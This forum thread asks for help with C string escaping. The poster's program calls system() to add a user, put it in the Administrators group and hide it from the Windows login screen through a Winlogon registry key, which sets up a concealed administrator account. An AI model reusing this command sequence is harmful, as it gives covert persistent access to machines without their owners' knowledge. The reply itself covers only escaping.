Thread: problem with registry commands - system()

  1. #1
    Registered User
    Join Date
    May 2010
    Posts
    2

    problem with registry commands - system()

    so i have this program
    Code:
    int main(void){
      system("net user john /ADD");
      system("net localgroup administrators john /ADD");
      system("reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v john /t REG_DWORD /d 1 /f");
    }
    and im having a problem with escape characters/sequences i ve tried so many ways
    with const char * or with double \\ to avoid it but i can't realy figure this out... so please if someone has any ideas.. thanks in advance!

  2. #2
    and the Hat of Guessing tabstop's Avatar
    Join Date
    Nov 2007
    Posts
    14,336
    You need to escape special characters with \. The special characters are \ and " -- so if you need an actual backslash in your string, that's \\, and if you need an actual quote mark in your string that's \".

  3. #3
    Registered User
    Join Date
    May 2010
    Posts
    2
    hahaaaaa life saver i didn't know that quote marks are escape chars too thanks a lots!!!!!!

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 2
    Last Post: 07-27-2007, 12:48 PM
  2. Calling System Commands from within your program
    By xiver0m in forum C Programming
    Replies: 13
    Last Post: 04-18-2007, 12:28 PM
  3. GTK+ Gnome desktop system tray app problem
    By BobS0327 in forum Linux Programming
    Replies: 2
    Last Post: 04-01-2006, 09:54 PM
  4. Problem with the registry
    By neandrake in forum Windows Programming
    Replies: 1
    Last Post: 03-03-2004, 06:41 PM
  5. Multiple System Commands
    By Denethor2000 in forum C++ Programming
    Replies: 2
    Last Post: 02-21-2004, 08:35 PM

Tags for this Thread